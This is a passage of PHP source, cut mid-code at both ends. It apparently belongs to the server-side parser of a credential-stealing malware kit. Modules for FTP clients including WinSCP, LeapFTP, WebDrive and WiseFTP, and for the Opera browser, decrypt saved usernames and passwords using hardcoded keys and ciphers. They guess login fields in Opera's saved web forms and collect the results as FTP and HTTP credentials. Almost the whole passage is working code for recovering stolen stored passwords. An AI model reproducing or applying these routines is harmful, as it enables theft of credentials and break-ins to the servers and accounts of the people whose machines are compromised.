oll $this->process_oll($stream->read_str()); break; case 0x0002: // ftplast.osd $this->process_osd($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // CoffeeCup FreeFTP 4.3 / DirectFTP class module_freeftp extends module { private function GenKey($magic) { $result = ''; for ($i = 0; $i < 56; $i++) { $magic = hexdec(gmp_strval(gmp_and(gmp_add(gmp_mul("$magic", "0x343FD"), "0x269EC3"), "0xffffffff"), 16)); $result .= chr(((($magic >> 16) & 0x7fff) % 0x5d) + 0x21); } return $result; } protected function decrypt($encrypted_password, $decryption_key) { $encrypted_password = base64_decode($encrypted_password, true); if (strlen($encrypted_password) == 0) return ''; $descriptor = mcrypt_module_open(MCRYPT_BLOWFISH, '', 'ecb', ''); if (!$descriptor) { $this->log->add("ERR_CANNOT_INITIALIZE_MCRYPT_MODULE"); return ''; } $iv = "\0\0\0\0\0\0\0\0"; mcrypt_generic_init($descriptor, $decryption_key, $iv); $plain_text = decrypt_cfbblock($descriptor, $encrypted_password, $iv); mcrypt_generic_deinit($descriptor); mcrypt_module_close($descriptor); $decrypted_password = ''; if (strlen($plain_text)) { $char = $plain_text[strlen($plain_text)-1]; while (strlen($plain_text) && ($plain_text[strlen($plain_text)-1] == $char)) $plain_text = substr($plain_text, 0, -1); $decrypted_password = $plain_text; } return $decrypted_password; } protected function process_sqlite_file($file_contents) { if (strlen($file_contents) == 0) return; global $global_temporary_directory; if (!class_exists('SQLite3') && !class_exists('PDO')) { $this->log->add("NOTIFY_PDO_AND_SQLITE3_CLASSES_DO_NOT_EXIST"); return; } $tmp_name = tempnam($global_temporary_directory, 'sqlite'); if (!is_writable($global_temporary_directory)) { $this->log->add("ERR_CANNOT_ACCESS_SQLITE_DB_FILE"); return; } $fp = fopen($tmp_name, "wb"); if (!$fp) { $this->log->add("ERR_CANNOT_ACCESS_SQLITE_DB_FILE"); return; } if (fwrite($fp, $file_contents) != strlen($file_contents)) { fclose($fp); unlink($tmp_name); $this->log->add("ERR_CANNOT_WRITE_SQLITE_DB_FILE"); return; } fclose($fp); if (class_exists('SQLite3')) { // use SQLite3 php-extension try { $database = new SQLite3($tmp_name, SQLITE3_OPEN_READONLY); if (!$database) { $this->log->add("ERR_CANNOT_OPEN_SQLITE_DB"); } else { $global_value = ''; $decryption_key = ''; $results = @$database->query('SELECT GlobalValue FROM "TGlobalSettings" WHERE GlobalName="MagicNumber"'); // get magic key sqlite value if ($results && ($row = $results->fetchArray())) $global_value = $row['GlobalValue']; // generate decryption key if ($global_value) $decryption_key = $this->GenKey(intval($global_value)); // use decryption key to decrypt the password if ($decryption_key) { try { $results = @$database->query('SELECT ServerName, Url, ServerUser, ServerPass, remoteDir, port, Protocol FROM "TServers"'); if ($results) { while ($row = $results->fetchArray()) { $host = assign($row['Url']); $user = assign($row['ServerUser']); $user = $this->decrypt($user, $decryption_key); $pass = assign($row['ServerPass']); $pass = $this->decrypt($pass, $decryption_key); $port = assign($row['port']); $dir = assign($row['remoteDir']); $protocol = assign($row['Protocol']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 1), $port, $dir), $user, $pass); } } } catch(Exception $e) { } } @$database->close(); unset($database); } } catch (Exception $e) { if (isset($database)) { @$database->close(); unset($database); } $this->log->add("ERR_SQLITE_EXCEPTION: $e"); } } else if (class_exists('PDO')) { // use PDO driver $drivers = PDO::getAvailableDrivers(); $driver_available = array_search('sqlite', $drivers) !== false; if ($driver_available) { try { /*** create the database file in /tmp ***/ $dbh = new PDO("sqlite:$tmp_name"); if (!$dbh) $this->log->add("ERR_CANNOT_OPEN_PDO_SQLITE_DB"); else { /*** set all errors to exceptions ***/ $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $global_value = ''; $decryption_key = ''; $sql = 'SELECT GlobalValue FROM "TGlobalSettings" WHERE GlobalName="MagicNumber"'; // get magic key sqlite value foreach ($dbh->query($sql) as $row) $global_value = $row['GlobalValue']; // generate decryption key if ($global_value) $decryption_key = $this->GenKey(intval($global_value)); // use decryption key to decrypt the password if ($decryption_key) { try { $sql = 'SELECT ServerName, Url, ServerUser, ServerPass, remoteDir, port, Protocol FROM "TServers"'; foreach ($dbh->query($sql) as $row) { $host = assign($row['Url']); $user = assign($row['ServerUser']); $user = $this->decrypt($user, $decryption_key); $pass = assign($row['ServerPass']); $pass = $this->decrypt($pass, $decryption_key); $port = assign($row['port']); $dir = assign($row['remoteDir']); $protocol = assign($row['Protocol']); $host = Utf8ToWin($host); $user = Utf8ToWin($user); $pass = Utf8ToWin($pass); $dir = Utf8ToWin($dir); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 1), $port, $dir), $user, $pass); } } catch(Exception $e) { } } unset($dbh); } } catch (Exception $e) { if (isset($dbh)) { unset($dbh); } $this->log->add("ERR_PDO_EXCEPTION: $e"); } } } unlink($tmp_name); } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0001: $this->process_sqlite_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // LeapFTP 2.6.2.470, 3.1.0.50 class stream_leapftp extends stream { function read_bytestring() { if (!$this->state) return false; $len = $this->read_byte(); if ($len == 0xff) return $this->read_strlen($this->read_word()); else return $this->read_strlen($len); } } class module_leapftp extends module { private function decrypt($encrypted_password) { $CXorArray = array(0xdb, 0x94, 0xec, 0xc0, 0xde, 0x44, 0x69, 0x9b); foreach ($CXorArray as $key=>$value) $CXorArray[$key] = $CXorArray[$key] ^ 0x30; for ($i = 0; $i < strlen($encrypted_password); $i++) $encrypted_password[$i] = chr(ord($encrypted_password[$i]) ^ $CXorArray[$i % 8]); if (strlen($encrypted_password) == 0) return ''; $encrypted_password = substr($encrypted_password, 0, -(8-ord($encrypted_password[strlen($encrypted_password)-1]))); return ztrim($encrypted_password); } private function decrypt_old($encrypted_password) { if (!strlen($encrypted_password)) return ''; if ($encrypted_password[0] != chr(0x7f)) return ''; $encrypted_password = substr($encrypted_password, 1); if (strlen($encrypted_password) % 2 != 0) return ''; $result = ''; for ($i = 0; $i < strlen($encrypted_password); $i += 2) { $result .= chr(ord($encrypted_password[$i])-0x15); } return $result; } private function read_ftp_item($file_stream) { if (!$file_stream->state) return false; $file_stream->read_bytestring(); // sitename $port = $file_stream->read_word(); // port $host = $file_stream->read_bytestring(); // host $user = $file_stream->read_bytestring(); // user $pass = $this->decrypt($file_stream->read_bytestring()); // password $file_stream->read_bytestring(); // local path $dir = $file_stream->read_bytestring(); // remote directory $file_stream->read_bytestring(); // notes $file_stream->read_bytestring(); // retry count $file_stream->read_bytestring(); // retry delay $protocol = $file_stream->read_dword(); // protocol $file_stream->read_skip(16*4+4); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == 3), $port, $dir), $user, $pass); $continue = true; while ($continue && $file_stream->state) { $block_id = $file_stream->read_byte(); if (!$file_stream->state) break; switch ($block_id) { case 100: case 101: case 105: $file_stream->read_bytestring(); break; case 106: $file_stream->read_bytestring(); break; case 102: $file_stream->read_bytestring(); $file_stream->read_skip(1); break; case 107: $file_stream->read_bytestring(); $file_stream->read_bytestring(); break; case 0xff: // final block $continue = false; break; default: $this->log->add("ERR_UNEXPECTED_LEAPFTP_DATABLOCK"); return false; } } return $file_stream->state; } protected function process_dat_file($file_contents) { if (strlen($file_contents) <= 4) return true; $file_stream = new stream_leapftp($file_contents, $this->log); $file_header = $file_stream->read_dword(); // check for master password protection if ($file_header == 0x54535f45) return true; // verify file header if ($file_header != 0x017a69) { $this->log->add("ERR_INVALID_LEAPFTP_DAT_VERSION"); return false; } while (!$file_stream->eof() && $file_stream->state) { $is_folder = $file_stream->read_byte(); if (!$file_stream->state) break; if ($is_folder == 0) { $file_stream->read_skip(2); $file_stream->read_bytestring(); // folder name } else if ($is_folder == 1) { $file_stream->read_skip(1); if (!$this->read_ftp_item($file_stream)) break; } else { $this->log->add("ERR_UNEXPECTED_LEAPFTP_DATA"); return false; } } return ($file_stream->state) && ($file_stream->eof()); } protected function process_ini_file($file_contents) { if (strlen($file_contents) <= 4) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["ip"]); $user = assign($section["user"]); $pass = $this->decrypt_old(assign($section["pass"])); $dir = assign($section["remotedir"]); $port = assign($section["port"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_dat_file($stream->read_str()); break; case 0x0001: $this->process_ini_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WinSCP 4.3.2 (Build 1201) class module_winscp extends module { private function decrypt($host, $user, $encrypted_password) { if (!strlen($encrypted_password)) return ''; $encrypted_password = hextostr($encrypted_password); if ($encrypted_password === false) { // word 'PASSWORD' can be stored instead of a hex-encoded string return ''; } for ($i = 0; $i < strlen($encrypted_password); $i++) $encrypted_password[$i] = chr(ord($encrypted_password[$i]) ^ 92); $blen = ord($encrypted_password[2]); $bskip = ord($encrypted_password[3]); $encrypted_password = substr($encrypted_password, 4); $encrypted_password = substr($encrypted_password, $bskip); $plain_password = substr($encrypted_password, 0, $blen); return substr($plain_password, strlen($host) + strlen($user)); } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0010: $host = urldecode($stream->read_str()); $user = urldecode($stream->read_str()); $pass = $this->decrypt($host, $user, $stream->read_str()); $port = $stream->read_dword(); $dir = $stream->read_str(); $proto = 0; if (($id & 0x10) > 0) { // 5: FTP // 2: clean SFTP // empty (0): SFTP with SCP callback (default) $proto = $stream->read_dword(); } $this->add_ftp(append_port_dir(ftp_force_ssh($host, $proto != 5), $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // 32bit FTP 2.6.1 class module_32bitftp extends module { private function decrypt($encrypted_password) { if (!strlen($encrypted_password)) return ''; $decoded_password = hextostr($encrypted_password); if ($decoded_password === false) { $this->log->add('ERR_INVALID_HEX_STRING'); } for ($i = 0; $i < strlen($decoded_password); $i++) $decoded_password[$i] = chr(ord($decoded_password[$i]) - $i); return $decoded_password; } protected function process_ini_file($file_contents) { if (!trim($file_contents)) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["hostaddress"]); $user = assign($section["hostusername"]); $pass = $this->decrypt(assign($section["hostpassword"])); $dir = assign($section["remotesitedirlast"]); $port = assign($section["hostport"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_ini_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // NetDrive 1.2.0.4 class module_netdrive extends module { private function decrypt($encrypted_password) { if (!strlen($encrypted_password)) return ''; $encrypted_password = hextostr($encrypted_password); if ($encrypted_password === false) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } $cipher_key = 'klfhuw%$#%fgjlvf'.chr(0); $iv = "\0\0\0\0\0\0\0\0"; $plain_text = mcrypt_decrypt(MCRYPT_3DES, $cipher_key, $encrypted_password, MCRYPT_MODE_ECB, $iv); if (!strlen($plain_text)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } return trim($plain_text); } protected function read_xml_item($xml_array) { $host = assign($xml_array['Address']); $user = assign($xml_array['User']); $user = $this->decrypt($user); $pass = assign($xml_array['Pass']); $pass = $this->decrypt($pass); $port = assign($xml_array['Port']); $protocol = assign($xml_array['SSL']); $this->add_ftp(append_port(ftp_force_ssh($host, $protocol == '5'), $port), $user, $pass); foreach ($xml_array as $value) { if (is_array($value)) $this->read_xml_item($value); } } protected function rec_scan_xml_array($xml_array) { foreach ($xml_array as $key=>$value) { if (is_array($value)) { if (strval($key) == 'Site') $this->read_xml_item($value); $this->rec_scan_xml_array($value); } } } protected function process_xml($value) { if (strlen($value) == 0) return; $xml_parser = new XMLParser($value); $parsed_xml = $xml_parser->parse(); if (!$xml_parser->isError || is_array($parsed_xml)) { $this->rec_scan_xml_array($parsed_xml); } else { $this->log->add("ERR_XML_PARSE"); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_xml($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Control 4.5.0.0 class module_ftpcontrol extends module { private function decrypt($encrypted_password) { if (strlen($encrypted_password) == 0) return ''; $decoded_password = hextostr($encrypted_password); if ($decoded_password === false) { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); } $key = 0x2396; for ($i = 0; $i < strlen($decoded_password); $i++) { $old = $decoded_password[$i]; $decoded_password[$i] = chr(ord($decoded_password[$i]) ^ (($key >> 8) & 0xff)); $key = hexdec(gmp_strval(gmp_and(gmp_add(gmp_mul(gmp_add("$key", strval(ord($old))), "0xCE6D"), "0x58BF"), "0xffffffff"), 16)); } return $decoded_password; } protected function process_ini_file($file_contents) { if (strlen(trim($file_contents)) == 0) return; $parsed_ini = parse_ini($file_contents); foreach ($parsed_ini as $section) { if (!is_array($section)) continue; $host = assign($section["host"]); $user = assign($section["username"]); $pass = $this->decrypt(assign($section["password"])); $dir = assign($section["defaultdirectory"]); $port = assign($section["port"]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: $this->process_ini_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WebDrive 9.16 (Build 2385) 64-bit tested class module_webdrive extends module { private $CWebDriveKey = "\xDA\xF2\xE6\xE8\xD2\xC6\xBE\xE4\xD0\xF2\xE8\xD0\xDA\xE6"; private function gen_check_key($salt) { return substr(sha1(substr($this->CWebDriveKey, 0, 14).substr($salt, 0, 8), true), 0, 8); } private function gen_key_iv($salt, &$key_out, &$iv_out) { $mash_key = $this->CWebDriveKey.substr($salt, 0, 8); $out_buf = ''; $i = 0; while ($i < 24) { $out_buf .= sha1(chr($i >> 8).chr($i).$mash_key, true); $i += 20; } for ($k = 0; $k < 199; $k++) { $buf = $out_buf; $out_buf = ''; $i = 0; while ($i < 24) { $out_buf .= sha1(chr($i >> 8).chr($i).$buf, true); $i += 20; } } $key_out = substr($out_buf, 0, 16); $iv_out = substr($out_buf, 16, 8); } private function decrypt($encrypted_password) { if (strlen($encrypted_password) < 3+16*2) return ''; $encrypted_password = substr($encrypted_password, 1); // check password length $pass_len = (ord($encrypted_password[1]) << 8) | (ord($encrypted_password[0])); if ($pass_len != strlen($encrypted_password)-2) { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); return ''; } // cut password length $encrypted_password = substr($encrypted_password, 2); if (strlen($encrypted_password) % 8 != 0) { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); return ''; } // Decrypt crypto++ hex-encoded password $iv = "\0\0\0\0\0\0\0\0"; $hex_encrypted_pass = mcrypt_decrypt(MCRYPT_DES, substr($this->CWebDriveKey, 0, 8), $encrypted_password, MCRYPT_MODE_ECB, $iv); if (!strlen($hex_encrypted_pass)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } $decoded_pass = hextostr($hex_encrypted_pass); if (strlen($decoded_pass) <= 16 || strlen($decoded_pass) % 8 != 0) { $this->log->add('ERR_INVALID_HEX_STRING'); return ''; } // Generate decryption check values $decryption_check_value = $this->gen_check_key($decoded_pass); // Generate key and iv values $this->gen_key_iv($decoded_pass, $key, $iv); $decoded_pass = substr($decoded_pass, 8); // Complete the key $key_add = 24-strlen($key); $key .= substr($key, 0, $key_add); // Decrypt password $plain_text = mcrypt_decrypt(MCRYPT_3DES, $key, $decoded_pass, MCRYPT_MODE_CBC, $iv); if (!strlen($plain_text)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } $chk_decrypted_text = substr($plain_text, 0, 8); $plain_text = substr($plain_text, 8); if ($chk_decrypted_text == $decryption_check_value) { if (strlen($plain_text)) { $plain_text = substr($plain_text, 0, strlen($plain_text)-ord($plain_text[strlen($plain_text)-1])); return $plain_text; } } else { $this->log->add("ERR_CANNOT_DECRYPT_PASSWORD"); } return ''; } public function import_item($stream, $id) { switch ($id) { case 0x0000: case 0x0010: $host = $stream->read_str(); $user = $stream->read_str(); $pass = $this->decrypt($stream->read_str()); $port = $stream->read_str(); $dir = $stream->read_str(); if (($id & 0x10) > 0) $protocol = $stream->read_str(); else $protocol = ''; $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '4'), $port, $dir), $user, $pass); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // Opera 6.x - 11.x class module_opera extends module_chrome_base { private function strpos_array($array, $value_name) { foreach ($array as $substr) { if (stripos($substr[0], $value_name) !== false) { return true; } } return false; } private function strpos_array_once($array, $value_name, $stop_words, &$out_pair) { foreach ($array as $substr) { if (stripos($substr[0], $value_name) !== false && !$this->strpos_array($stop_words, $substr[0]) && ($substr[2] == false) && strlen($substr[1])) { $substr[2] = true; $out_pair = $substr; return true; } } return false; } private function strpos_array_any_once($array, $stop_words, &$out_pair) { foreach ($array as $substr) { if (!$this->strpos_array($stop_words, $substr[0]) && ($substr[2] == false) && strlen($substr[1])) { $substr[2] = true; $out_pair = $substr; return true; } } return false; } private function read_site_item($stream) { $url = $stream->read_str(); if (strlen($url) && $url[0] == '*') { $url = substr($url, 1); } $login_names = array('username', 'user_name', 'user-name', 'uname', 'login-name', 'login_name', 'email', 'e-mail', 'mail', 'account', 'login', 'ogin', 'user', 'u_id', 'uid','usr', 'nickname', 'nick_name', 'name', 'nick', 'acc', 'ident', 'id'); $password_names = array('password', 'pass', 'pword', 'passwrd', 'pwrd', 'pwd', 'word', 'key'); $stop_words = array('sav', 'stor', 'cook', 'remem', 'auto', 'action', 'pers'); $data_pairs = array(); do { $input_name = $stream->read_str(); $input_value = $stream->read_str(); $input_value2 = $stream->read_str(); if ($stream->state && strlen($input_name) && (strlen($input_value) || strlen($input_value2))) { if (!strlen($input_value)) $input_value = $input_value2; array_push($data_pairs, array($input_name, $input_value, false)); } } while ($stream->state && strlen($input_name) && (strlen($input_value) || strlen($input_value2))); if (count($data_pairs) < 2) return; $found_login = false; $found_pass = false; $login_value = ''; $pass_value = ''; foreach ($login_names as $login_name) { // find login value $out_pair = array(); if ($this->strpos_array_once($data_pairs, $login_name, $stop_words, $out_pair)) { $login_value = $out_pair[1]; $found_login = true; break; } } foreach ($password_names as $password_name) { // find pass value $out_pair = array(); if ($this->strpos_array_once($data_pairs, $password_name, $stop_words, $out_pair)) { $pass_value = $out_pair[1]; $found_pass = true; break; } } if (!$found_login && $found_pass) { // login value not found, but password found // retrieve first available value as login if ($this->strpos_array_any_once($data_pairs, $stop_words, $out_pair)) { $login_value = $out_pair[1]; $found_login = true; } } if ($found_login && !$found_pass) { // password value not found, but login found // retrieve first available value as password if ($this->strpos_array_any_once($data_pairs, $stop_words, $out_pair)) { $pass_value = $out_pair[1]; $found_pass = true; } } if (!$found_login && !$found_pass && (count($data_pairs) >= 2)) { $found_login = true; $found_pass = true; $login_value = $data_pairs[0][1]; $pass_value = $data_pairs[1][1]; } if ($found_login && $found_pass) { $this->add_http($url, $login_value, $pass_value); } } public function import_item($stream, $id) { switch ($id) { case 0x0000: // site & ftp items $url = $stream->read_str(); if (strlen($url) && $url[0] == '*') $url = substr($url, 1); $user = $stream->read_str(); $pass = $stream->read_str(); if (str_begins($url, 'ftp://')) $this->add_ftp($url, $user, $pass); elseif (str_begins($url, 'http://') || str_begins($url, 'https://')) $this->add_http($url, $user, $pass); break; case 0x0001: // wand forms $this->read_site_item($stream); break; case 0x0002: // chrome data $this->process_chrome_item($stream); break; case 0x1000: // erroneus wands $stream->read_str(); // wand file binary data $this->log->add("ERR_OPERA_WAND"); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // WiseFTP 1.x-7.x class stream_wise extends stream { function read_wise_str() { if (!$this->state) return false; return $this->read_strlen($this->read_byte()); } function read_wise_uni_str() { if (!$this->state) return false; return $this->read_strlen($this->read_dword()*2); } function read_wise_item(&$name) { if (!$this->state) return ''; $name = $this->read_wise_str(); $item_type = $this->read_byte(); if (!$this->state) return ''; if (!strlen($name)) return ''; switch ($item_type) { case 2: case 14: return $this->read_byte(); break; case 3: return $this->read_word(); break; case 4: return $this->read_dword(); break; case 5: $this->read_skip(10); break; case 6: case 7: return $this->read_wise_str(); break; case 8: return true; break; case 9: return false; break; case 18: return unicode_to_utf8($this->read_wise_uni_str()); break; case 19: return $this->read_dword(); break; case 20: return $this->read_str(); break; default: $this->push_error('ERR_UNK_WISEFTP_ITEM_TYPE: '.$item_type); } return ''; } } class module_wiseftp extends module { private function decrypt($encrypted_password) { $decoded_password = base64_decode($encrypted_password, true); if (!strlen($decoded_password)) return ''; if (strlen($decoded_password) % 16 != 0) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $iv = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; $cipher_key = "\x9A\xB1\x13\xEC\xFB\x2F\x74\xAE\x5A\xAE\x46\x9F\x52\x1C\xE4\xEC"; $decrypted_data = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $cipher_key, $decoded_password, MCRYPT_MODE_CBC, $iv); if (!strlen($decrypted_data)) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); } $decrypted_data = substr($decrypted_data, 16); if (strlen($decrypted_data)) { // cut unused chars in last block $decrypted_data = substr($decrypted_data, 0, -(16-ord($decrypted_data[strlen($decrypted_data)-1]))); } return trim($decrypted_data); } private function process_bin_file($file_data) { if (!strlen($file_data)) return; $stream = new stream_wise($file_data, $this->log); $file_id = $stream->read_strlen(4); if ($file_id != 'TPF0') { $this->log->add("ERR_INVALID_WISEFTP_BIN_FILE"); return; } $stream->read_wise_str(); // TServers $stream->read_wise_str(); // Servers1 $stream->read_wise_str(); // FTPServer $stream->read_skip(2); // Unknown $host = ''; $user = ''; $pass = ''; $port = ''; $dir = ''; $protocol = ''; while (!$stream->eof() && $stream->state) { $item_name = ''; $item_value = $stream->read_wise_item($item_name); switch ($item_name) { case 'ServerType': $protocol = $item_value; break; case 'Hostname': $host = Utf8ToWin($item_value); break; case 'Username': $user = Utf8ToWin($item_value); break; case 'Password': $pass = $item_value; if ($pass == 'your.name@your.server.com') $pass = ''; break; case 'Port': $port = Utf8ToWin($item_value); break; case 'HostDirName': $dir = Utf8ToWin($item_value); break; } if (($item_name == '' || $item_name == 'ProfileName') && $stream->state) { if ($user != 'anonymous' && $pass != 'your.name@your.server.com') { $pass = Utf8ToWin($this->decrypt($pass)); $this->add_ftp(append_port_dir(ftp_force_ssh($host, $protocol == '1'), $port, $dir), $user, $pass); } $host = ''; $user = ''; $pass = ''; $port = ''; $dir = ''; $protocol = ''; } } } private function process_ini_file($file_data) { if (!strlen($file_data)) return; $parsed_ini = parse_ini($file_data); if (!count($parsed_ini)) return; $count = assign($parsed_ini['FTPServers'][strtolower('Servers1_FTPServers.Count')]); if ($count > 0) { for ($i = 0; $i < min($count, 1000); $i++) { $host = assign($parsed_ini['FTPServers.Servers1_FTPServers'][strtolower("Item".$i."_HostName")]); $user = assign($parsed_ini['FTPServers.Servers1_FTPServers'][strtolower("Item".$i."_UserName")]); $pass = $this->decrypt(assign($parsed_ini['FTPServers.Servers1_FTPServers'][strtolower("Item".$i."_PassWord")])); $port = assign($parsed_ini['FTPServers.Servers1_FTPServers'][strtolower("Item".$i."_Port")]); $dir = assign($parsed_ini['FTPServers.Servers1_FTPServers'][strtolower("Item".$i."_HostDirName")]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } $count = assign($parsed_ini['Main'][strtolower('FTPFavorites1_Items.Count')]); if ($count > 0) { for ($i = 0; $i < min($count, 1000); $i++) { $host = assign($parsed_ini['Main.FTPFavorites1_Items'][strtolower("Item".$i."_HostName")]); $user = assign($parsed_ini['Main.FTPFavorites1_Items'][strtolower("Item".$i."_UserName")]); $pass = $this->decrypt(assign($parsed_ini['Main.FTPFavorites1_Items'][strtolower("Item".$i."_PassWord")])); $port = assign($parsed_ini['Main.FTPFavorites1_Items'][strtolower("Item".$i."_Port")]); $dir = assign($parsed_ini['Main.FTPFavorites1_Items'][strtolower("Item".$i."_HostDirName")]); $this->add_ftp(append_port_dir($host, $port, $dir), $user, $pass); } } if (isset($parsed_ini['Main\TfrmFTPWalkerMain.mmQuickConnect']) && is_array($parsed_ini['Main\TfrmFTPWalkerMain.mmQuickConnect'])) { foreach ($parsed_ini['Main\TfrmFTPWalkerMain.mmQuickConnect'] as $ftp_line) { $this->add_ftp($ftp_line); } } } public function import_item($stream, $id) { switch ($id) { case 0x0000: // Site manager (bin files) $this->process_bin_file($stream->read_str()); break; case 0x0001: // Quick connections (registry) $mru_list = $stream->read_str(); $ftp_array = explode(',', $mru_list); foreach ($ftp_array as $ftp_value) $this->add_ftp($ftp_value); break; case 0x0002: // Ini files $this->process_ini_file($stream->read_str()); break; default: $this->log->add("ERR_UNKNOWN_ITEM_TYPE"); return false; } return true; } } // -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= // FTP Voyager 11.x-16.x class stream_voyager extends stream { function read_bytestring() { if (!$this->state) return false; $len = $this->read_byte(); if ($len == 0xff) return $this->read_strlen($this->read_word()); else return $this->read_strlen($len); } } class module_ftpvoyager extends module { function tea_decrypt(&$v0, &$v1, $key) { $sum = "0xC6EF3720"; $delta = "0x9e3779b9"; for ($i = 0; $i < 32; $i++) { $v1 = hexdec(gmp_strval(gmp_and(gmp_sub("$v1", ( gmp_xor(gmp_add(gmp_shiftl("$v0", 4), $key[2]), gmp_xor(gmp_add("$v0", "$sum"), gmp_add(gmp_shiftr('0x'.dechex($v0), 5), $key[3])) ) )), '0xffffffff'), 16)); $v0 = hexdec(gmp_strval(gmp_and(gmp_sub("$v0", ( gmp_xor(gmp_add(gmp_shiftl("$v1", 4), $key[0]), gmp_xor(gmp_add("$v1", "$sum"), gmp_add(gmp_shiftr('0x'.dechex($v1), 5), $key[1])) ) )), '0xffffffff'), 16)); $sum = hexdec(gmp_strval(gmp_and(gmp_sub("$sum", "$delta"), '0xffffffff'), 16)); } } function str_fix($value) { return $value[3].$value[2].$value[1].$value[0]; } private function decrypt($encrypted_password) { if (!strlen($encrypted_password)) return ''; if (strlen($encrypted_password) % 8 != 0) { $this->log->add('ERR_CANNOT_DECRYPT_PASSWORD'); return ''; } $key = "VictoriaPeterson"; $key_array = array(); $key_array[] = data_int32(substr($key, 0, 4)); $key_array[] = data_int32(substr($key, 4, 4)); $key_array[] = data_int32(substr($key, 8, 4)); $key_array[] = data_int32(substr($key, 12, 4)); $result = ''; $plain_text = ''; while (strlen($encrypted_password) > 8) { $v0 = data_int32(substr($encrypted_password, 0, 4)); $v1 = data_int32(substr($encrypted_password, 4, 4)); $this->tea_decrypt($v0, $v1, $key_array); $v0 = $this->str_fix(hextostr(str_pad(dechex($v0), 8, "0", STR_PAD_LEFT))); // bswap32 $v1 = $this->str_fix(hextostr(str_pad(dechex($v1), 8, "0", 